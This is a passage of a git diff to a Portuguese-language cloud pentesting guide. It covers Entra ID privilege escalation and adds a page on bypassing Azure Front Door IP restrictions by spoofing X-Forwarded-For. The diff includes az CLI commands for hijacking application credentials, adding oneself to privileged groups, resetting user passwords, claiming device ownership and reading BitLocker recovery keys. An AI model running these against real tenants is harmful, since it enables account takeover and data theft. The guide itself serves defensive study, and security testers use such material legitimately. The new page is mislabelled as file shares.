elas. Uma Permissão de API (como chamada no console do Entra ID) do tipo **`Application`** significa que a aplicação pode acessar a API sem um contexto de usuário (sem um usuário logado no aplicativo) e sem precisar de funções do Entra ID para permitir isso. Portanto, é muito comum encontrar **aplicações com altos privilégios em cada locatário do Entra ID**. + +Assim, se um atacante tiver qualquer permissão/função que permita **atualizar as credenciais (segredo ou certificado) da aplicação**, o atacante pode gerar uma nova credencial e, em seguida, usá-la para **autenticar-se como a aplicação**, ganhando todas as permissões que a aplicação possui. + +Observe que o blog mencionado compartilha algumas **permissões de API** de aplicações padrão comuns da Microsoft, no entanto, algum tempo após este relatório, a Microsoft corrigiu esse problema e agora não é mais possível fazer login como aplicações da Microsoft. No entanto, ainda é possível encontrar **aplicações personalizadas com altos privilégios que podem ser abusadas**. + --- ## Grupos @@ -187,7 +195,7 @@ az ad group member add --group --member-id ### `microsoft.directory/groups/members/update` -Esta permissão permite adicionar membros a um grupo. Um atacante poderia adicionar a si mesmo ou contas maliciosas a grupos privilegiados, o que pode conceder acesso elevado. +Esta permissão permite adicionar membros a um grupo. Um atacante poderia se adicionar ou adicionar contas maliciosas a grupos privilegiados, o que pode conceder acesso elevado. ```bash az ad group member add --group --member-id ``` @@ -224,7 +232,7 @@ az ad user update --id --password "kweoifuh.234" ``` ### `microsoft.directory/users/basic/update` -Essa permissão permite modificar as propriedades do usuário. É comum encontrar grupos dinâmicos que adicionam usuários com base nos valores das propriedades; portanto, essa permissão pode permitir que um usuário defina o valor da propriedade necessário para ser membro de um grupo dinâmico específico e escale privilégios. +Essa permissão permite modificar propriedades do usuário. É comum encontrar grupos dinâmicos que adicionam usuários com base nos valores das propriedades; portanto, essa permissão pode permitir que um usuário defina o valor da propriedade necessário para ser membro de um grupo dinâmico específico e escale privilégios. ```bash #e.g. change manager of a user victimUser="" @@ -252,7 +260,7 @@ az-conditional-access-policies-mfa-bypass.md ### `microsoft.directory/devices/registeredOwners/update` -Esta permissão permite que atacantes se atribuam como proprietários de dispositivos para ganhar controle ou acesso a configurações e dados específicos do dispositivo. +Esta permissão permite que atacantes se atribuam como proprietários de dispositivos para obter controle ou acesso a configurações e dados específicos do dispositivo. ```bash deviceId="" userId="" @@ -289,7 +297,7 @@ az rest --method GET \ ### `microsoft.directory/bitlockerKeys/key/read` -Esta permissão permite acessar as chaves do BitLocker, o que pode permitir que um atacante decifre unidades, comprometendo a confidencialidade dos dados. +Esta permissão permite acessar chaves do BitLocker, o que pode permitir que um atacante decifre unidades, comprometendo a confidencialidade dos dados. ```bash # List recovery keys az rest --method GET \ diff --git a/src/pentesting-cloud/azure-security/az-services/az-front-door.md b/src/pentesting-cloud/azure-security/az-services/az-front-door.md new file mode 100644 index 000000000..84bf696c9 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-front-door.md @@ -0,0 +1,18 @@ +# Az - Compartilhamentos de Arquivos + +{{#include ../../../banners/hacktricks-training.md}} + +## Bypass de RemoteAddr + +Este **[post de blog](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** explica como, ao configurar algumas restrições de rede com Azure Front Door, você pode filtrar com base em **`RemoteAddr`** ou **`SocketAddr`**. A principal diferença é que **`RemoteAddr`** realmente usa o valor do cabeçalho HTTP **`X-Forwarded-For`**, tornando muito fácil contornar. + +Para contornar essa regra, ferramentas automatizadas podem ser usadas que **forçam endereços IP** até encontrar um válido. + +Isso é mencionado na [documentação da Microsoft](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction). + + +## Referências + +- [https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass) + +{{#include ../../../banners/hacktricks-training.md}}